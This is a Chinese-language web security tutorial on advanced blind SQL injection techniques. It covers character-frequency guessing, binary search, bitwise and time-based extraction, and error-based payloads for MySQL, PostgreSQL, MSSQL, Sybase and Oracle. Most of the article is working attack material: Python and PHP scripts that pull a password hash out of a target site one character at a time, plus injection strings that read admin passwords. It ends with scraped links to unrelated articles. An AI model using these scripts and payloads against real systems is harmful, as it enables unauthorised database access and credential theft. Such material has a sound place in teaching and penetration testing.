SQL盲注测试高级技巧
写在前面:
这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了。但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进。
正文:
首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类。
Booleanbase
Timebase
Errorbase
其中第一类Boolean就是我们最常接触到的普通盲注。
比如在where语句中可以构造or 1=1来使返回页面不同。(这里用mysql演示一下,大家体会就好)
mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)
如果注入点在order by后面,那么则可以使用判断语句来构造报错。(其实order by后面的注入也可以根据返回结果的顺序来判断,这里自由发挥就好:P)
mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row
基于时间的盲注的话,mysql主要涉及两个函数,sleep banchmark 基本是使用如下。
mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
基于报错的盲注,需要网站显示数据库报错信息,后面会有详细阐述。
知道了怎么判断ture or false之后就是获取数据了,当然你可以暴力测试每一个ascii码,不过这需要很多次尝试,如果你家正巧网速不好那么速度将会是十分缓慢的。
拿32位hash为例,暴力猜解的话许要 16*32=512次查询(因为hash一般是16进制,只有16种可能)。如果是一段包含大小写字母和特殊字符的32位字符串那?大概需要 72*32=2304次查询,这就比较多了。想要减少盲注查询的次数,一般会用到如下几种方法。
字频统计:
根据英文中字母出现的频率进行猜测,这种方法仅局限于用户名这样有意义的字符串,并不能应用于hash这样的无规律字符串。而且仅限于纯字母的猜测。wiki百科上有字母使用频率的统计。
那么根据字频统计,e出现的概率最高,a其次,那我们就先猜测e,再猜测a。更近一步,我们可以使用双字的字频来进一步提高效率,比如th在英文中出现的概率很高。那么在第一个字母是t之后,我们下个字符第一个猜测h。
ps.这种方法的效率有多高哪?只能说看脸。
二分查找,位运算法:
把他们两个放在一起是因为他们的作用是相同的都会把试探字符串的次数降低到log(n)*length (n为可能字符的数量)。
首先来说二分查找,它的原理是把可能出现的字符看做一个有序的序列,这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元 素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。
使用而返查找确定一个hash散列的一位,只需要4次查询(2^4=16),也就是说确定一个32位hash,只需要126次请求,大大缩短了查询的次数。
这里给出一个二分查找的pyhton源代码
import urllib
import urllib2
def doinject(payload):
url = 'xxxxxxxxxxxxxxxxxxxxx'
values = {'injection':payload,'inject':'Inject'}
data = urllib.urlencode(values)
#print data
req = urllib2.Request(url, data)
req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
response = urllib2.urlopen(req)
the_page = response.read()
if (the_page.find("Welcome back")>0):
return True
else:
return False
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,33):
s=0
t=15
while (s<t):
if (t-s==1):
if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'):
m=t
break
else:
m=s
break
m=(s+t)/2
if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'):
s=m+1
print wordlist[s]+":"+wordlist[t]
else:
t=m
print wordlist[s]+":"+wordlist[t]
res = res+wordlist[m]
print res
这里还有使用正则表达式来进行二分查找的php实现
$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
$sPost = 'inject=Inject&injection=';
$sCharset = 'ABCDEF0123456789';
/* for every character */
for ($i=0, $hash=''; $i<32; ++$i) {
$ch = $sCharset;
do {
$ch1 = substr($ch, 0, intval(strlen($ch)/2));
$ch2 = substr($ch, intval(strlen($ch)/2));
$p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
$res = libHTTP::POST($sUrl, $p);
if (strpos($res['content'], 'Your password is wrong') === false)
$ch = $ch1;
else
$ch = $ch2;
} while (strlen($ch) > 1);
$hash .= $ch;
echo "\rhash: ".$hash;
}
ps:上面的代码都是针对32位hash的盲注
再说位运算,它的原理是每次请求确定二进制的一位,对于ascii码连续的区间时间复杂度为log(n)*length,所以相对于二分查找,它应用起来比较有局限性。
mysql中位运算的与运算是&,我们主要用它来进行猜测,比如a的ascii码是1100001,那么我们可以使用1,2,4,8,16…..依次与他进行与运算,最终得到结果。
mysql> select ord('a') & 1;
+--------------+
| ord('a') & 1 |
+--------------+
| 1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 2;
+--------------+
| ord('a') & 2 |
+--------------+
| 0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 4;
+--------------+
| ord('a') & 4 |
+--------------+
| 0 |
+--------------+
1 row in set (0.00 sec)
基于时间的盲注:
上面的方法,都是通过返回页面的不同来获取信息,所以理论上来说每次,最多只能确定一个二进制位(true or false)。但是,在盲注过程中还有一个重要的因素可以帮助我们获取信息,那就是页面返回时间的长短。通过如下的语句,我们可以通过一次请求确定一个字 符的ascii码。如果是一串32位的hash,那么只需要32次请求,即可得到答案。
' or sleep(ord(substr(password,1,1))) --
利用语句一般可以写成这样
mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)
推荐使用,sleep而不要使用benchmark,因为sleep不会占用cpu而且比较稳定。
下面给出一个针对32位hash的盲注算法
import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
values = {'injection':payload,'inject':'Inject'}
data = urllib.urlencode(values)
#print data
req = urllib2.Request(url, data)
req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
start = time()
response = urllib2.urlopen(req)
end = time()
#print response.read()
index = int(end-start)
print 'index:'+ str(index)
print 'char:' + wordlist[index-1]
return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
res = res+wordlist[num-1]
print res
这里还有注意一点,sleep在where语句中会被计算多次,在实际应用中需要根据表中的记录数,做相应的处理。
比如有一个2个记录的表
select count(*) from test;
+----------+
| count(*) |
+----------+
| 2 |
+----------+
如果直接查询,因为两个记录都会引发查询所以会触发两次sleep()延迟12秒
select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (12.00 sec)
这里在前面使用一个条件语句,因为and前面的表达式如果为false则后面的不执行,所以sleep执行一次,延迟6秒
select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (6.00 sec)
ps.这种方法很怕网络不稳定。
基于报错的盲注:
如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。
比如在mysql中我们可以使用如下的经典语句进行报错。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
这是网上流传很广的一个版本,可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其实这是mysql的一个bug所引起的,其他数据库都不会因为这个问题而报错。
另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
参考文献:
METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION
Indexed Blind SQL Injection
SQL盲注测试高级技巧的更多相关文章
- 详解SQL盲注测试高级技巧
原文地址: http://www.freebuf.com/articles/web/30841.html
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- Web系统常见安全漏洞及解决方案-SQL盲注
关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...
- SQL盲注工具BBQSQL
SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...
- 第九届极客大挑战——Geek Chatroom(sql盲注)
首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢, ...
- (转)SQL盲注攻击的简单介绍
转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介 1.1 普通SQL注入技术概述 目前没有对SQL ...
- Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)
Day41 login3(SKCTF)
- WEB安全实战(一)SQL盲注
前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...
随机推荐
- linux命令(35):head命令
1.命令格式: head [参数]... [文件]... 2.命令功能: head 用来显示档案的开头至标准输出中,默认head命令打印其相应文件的开头10行. 3.命令参数: -q 隐藏文件名 -v ...
- 线程同步工具 Semaphore类的基础使用
推荐好文: 线程同步工具(一) 线程同步工具(二)控制并发访问多个资源 并发工具类(三)控制并发线程数的Semaphore 简介 Semaphore是基于计数的信号量,可以用来控制同时访问特定资源的线 ...
- Django如何使文件在django自动执行
1. Django admin源码中 admin.py from django.contrib import admin # Register your models here. 在admin源码中 ...
- SEO编辑必看:撰写搜索引擎喜爱的标题
导读:非常有干货,百度站长平台刚发布了这篇篇文章,文章建议:1,标题字数控制在65个字节内,2,重要内容放在标题的最前面,3,添加与网页内容最相关的.用户更常用的.满足用户明确需求的.体现时效性.关键 ...
- “无法在web服务器上启动调试,不是Debugger User组成员..."
在使用VS.net2003开发asp.net项目时,有时候在你调试项目时,会提示”无法在web服务器上启动调试,不是Debugger User组成员..."这样一个错误信息.很是让人头疼,一 ...
- grunt 自定义任务实现js文件的混淆及加密
//自定义任务 module.exports = function (grunt) { // 项目配置 var http = require('http'); var qs = require('qu ...
- 转:攻击JavaWeb应用[7]-Server篇[1]
转:http://static.hx99.net/static/drops/tips-604.html 攻击JavaWeb应用[7]-Server篇[1] 园长 · 2013/09/22 15:39 ...
- ButterKnife不同版本配置
7.0.1版本 compile 'com.jakewharton:butterknife:7.0.1' 8.0.1版本 module: apply plugin: 'com.android.appli ...
- windows系统中,创建临时环境变量
以servlet-api.jar 包为例 set classpath=%classpath%;C:\apache-tomcat-6.0.37\lib\servlet-api.jar
- Codeforces Round #424 (Div. 2, rated, based on VK Cup Finals) Cards Sorting(树状数组)
Cards Sorting time limit per test 1 second memory limit per test 256 megabytes input standard input ...